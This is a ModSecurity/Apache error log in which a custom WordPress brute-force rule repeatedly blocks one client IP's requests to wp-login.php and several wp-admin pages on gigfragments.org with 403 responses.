[Fri Feb 27 21:01:19.049013 2026] [:error] [pid 54103:tid 54181] [client 159.203.62.100:43898] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVn-vG4MPCmE0B2sCgMQAAAMo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:19.884639 2026] [:error] [pid 56075:tid 56088] [client 159.203.62.100:36900] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVn8KBhrfI6KNv9Ri0iwAAAAs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:20.717324 2026] [:error] [pid 52073:tid 52079] [client 159.203.62.100:36910] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVoIa650YPyxXVeRY84gAAAYM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:21.554656 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:36922] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVocKBhrfI6KNv9Ri0jQAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:21.554727 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:36922] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVocKBhrfI6KNv9Ri0jQAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:23.794781 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:36932] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVo8KBhrfI6KNv9Ri0kwAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:23.794856 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:36932] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVo8KBhrfI6KNv9Ri0kwAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:25.792268 2026] [:error] [pid 56075:tid 56091] [client 159.203.62.100:36938] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVpcKBhrfI6KNv9Ri0nAAAAA0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:26.632724 2026] [:error] [pid 56075:tid 56096] [client 159.203.62.100:36952] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVpsKBhrfI6KNv9Ri0oQAAABI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:27.463971 2026] [:error] [pid 62998:tid 63022] [client 159.203.62.100:36968] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVp1QeueXZDUmoLok_MgAAARQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:30.053280 2026] [:error] [pid 62998:tid 63021] [client 159.203.62.100:36968] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVqlQeueXZDUmoLok_OAAAARM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:31.329032 2026] [:error] [pid 62998:tid 63014] [client 159.203.62.100:36968] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVq1QeueXZDUmoLok_PQAAAQw"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:34.012736 2026] [:error] [pid 62998:tid 63001] [client 159.203.62.100:36968] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVrlQeueXZDUmoLok_QwAAAQA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:35.276096 2026] [:error] [pid 62998:tid 63022] [client 159.203.62.100:36968] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVr1QeueXZDUmoLok_RgAAARQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:35.276178 2026] [:error] [pid 62998:tid 63022] [client 159.203.62.100:36968] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVr1QeueXZDUmoLok_RgAAARQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:36.116104 2026] [:error] [pid 52073:tid 52097] [client 159.203.62.100:48336] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVsIa650YPyxXVeRY89AAAAZU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:36.956820 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:48350] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVsMKBhrfI6KNv9Ri01gAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:37.787455 2026] [:error] [pid 52073:tid 52077] [client 159.203.62.100:48358] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVsYa650YPyxXVeRY8-AAAAYE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:38.655343 2026] [:error] [pid 52073:tid 52084] [client 159.203.62.100:48368] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVsoa650YPyxXVeRY8_gAAAYg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:39.488156 2026] [:error] [pid 49306:tid 49311] [client 159.203.62.100:48072] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVs_nSUDZue59Px9sIZwAAAUM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:39.488235 2026] [:error] [pid 49306:tid 49311] [client 159.203.62.100:48072] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVs_nSUDZue59Px9sIZwAAAUM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:41.787202 2026] [:error] [pid 49306:tid 49327] [client 159.203.62.100:48088] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVtfnSUDZue59Px9sIcAAAAVM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:42.998672 2026] [:error] [pid 49306:tid 49323] [client 159.203.62.100:48088] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVtvnSUDZue59Px9sIcgAAAU8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:42.998732 2026] [:error] [pid 49306:tid 49323] [client 159.203.62.100:48088] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVtvnSUDZue59Px9sIcgAAAU8"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:45.204718 2026] [:error] [pid 49306:tid 49319] [client 159.203.62.100:48098] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVufnSUDZue59Px9sIeAAAAUs"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:46.445270 2026] [:error] [pid 49306:tid 49332] [client 159.203.62.100:48098] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVuvnSUDZue59Px9sIewAAAVg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:49.108542 2026] [:error] [pid 49306:tid 49315] [client 159.203.62.100:48098] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVvfnSUDZue59Px9sIgAAAAUc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:50.369728 2026] [:error] [pid 49306:tid 49318] [client 159.203.62.100:48098] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVvvnSUDZue59Px9sIgwAAAUo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:51.648874 2026] [:error] [pid 49306:tid 49321] [client 159.203.62.100:48098] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVv_nSUDZue59Px9sIhgAAAU0"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:52.490411 2026] [:error] [pid 54103:tid 54185] [client 159.203.62.100:51032] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVwOvG4MPCmE0B2sCgSgAAAM4"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:53.332095 2026] [:error] [pid 49306:tid 49311] [client 159.203.62.100:51044] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVwfnSUDZue59Px9sIiAAAAUM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:54.163909 2026] [:error] [pid 56075:tid 56094] [client 159.203.62.100:51048] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 13"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVwsKBhrfI6KNv9Ri1MwAAABA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:54.998003 2026] [:error] [pid 62998:tid 63023] [client 159.203.62.100:51060] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVwlQeueXZDUmoLok_ZgAAARU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:54.998077 2026] [:error] [pid 62998:tid 63023] [client 159.203.62.100:51060] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVwlQeueXZDUmoLok_ZgAAARU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:55.840038 2026] [:error] [pid 56075:tid 56100] [client 159.203.62.100:51070] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVw8KBhrfI6KNv9Ri1PgAAABY"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:56.676255 2026] [:error] [pid 56075:tid 56097] [client 159.203.62.100:51080] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVxMKBhrfI6KNv9Ri1RAAAABM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:57.508054 2026] [:error] [pid 54231:tid 54237] [client 159.203.62.100:51096] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVxeTvb5AeyJCdY7AJ6QAAAEM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:58.349272 2026] [:error] [pid 56075:tid 56102] [client 159.203.62.100:51100] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVxsKBhrfI6KNv9Ri1UAAAABg"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:59.183644 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:51104] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVx8KBhrfI6KNv9Ri1UQAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:01:59.183762 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:51104] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVx8KBhrfI6KNv9Ri1UQAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:00.025400 2026] [:error] [pid 54102:tid 54149] [client 159.203.62.100:50324] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVyHi74D4fiYUm_GdqdgAAAIU"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:00.864501 2026] [:error] [pid 56075:tid 56098] [client 159.203.62.100:50340] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVyMKBhrfI6KNv9Ri1WAAAABQ"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:01.709565 2026] [:error] [pid 56075:tid 56087] [client 159.203.62.100:50356] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVycKBhrfI6KNv9Ri1XgAAAAo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:02.553938 2026] [:error] [pid 52073:tid 52078] [client 159.203.62.100:50360] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVyoa650YPyxXVeRY9HAAAAYI"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:03.393997 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:50370] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVy8KBhrfI6KNv9Ri1bQAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:03.394095 2026] [:error] [pid 56075:tid 56101] [client 159.203.62.100:50370] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVy8KBhrfI6KNv9Ri1bQAAABc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:04.233946 2026] [:error] [pid 52073:tid 52086] [client 159.203.62.100:50380] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGVzIa650YPyxXVeRY9IAAAAYo"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:05.081639 2026] [:error] [pid 52073:tid 52079] [client 159.203.62.100:50388] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGVzYa650YPyxXVeRY9IwAAAYM"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:05.918994 2026] [:error] [pid 52073:tid 52092] [client 159.203.62.100:50392] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/edit.php"] [unique_id "aaGVzYa650YPyxXVeRY9JwAAAZA"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:06.754700 2026] [:error] [pid 52073:tid 52093] [client 159.203.62.100:50398] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 11"] [hostname "gigfragments.org"] [uri "/wp-admin/plugins.php"] [unique_id "aaGVzoa650YPyxXVeRY9KwAAAZE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:07.593266 2026] [:error] [pid 62998:tid 63002] [client 159.203.62.100:50402] [client 159.203.62.100] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.203.62.100, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaGVz1QeueXZDUmoLok_awAAAQE"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:08.859341 2026] [:error] [pid 62998:tid 63025] [client 159.203.62.100:50402] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/index.php"] [unique_id "aaGV0FQeueXZDUmoLok_bQAAARc"], referer: https://gigfragments.org/wp-login.php
[Fri Feb 27 21:02:09.695208 2026] [:error] [pid 56075:tid 56082] [client 159.203.62.100:38572] [client 159.203.62.100] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 159.203.62.100 on wp-login.php, counter = 12"] [hostname "gigfragments.org"] [uri "/wp-admin/profile.php"] [unique_id "aaGV0cKBhrfI6KNv9Ri1gAAAAAU"], referer: https://gigfragments.org/wp-login.php
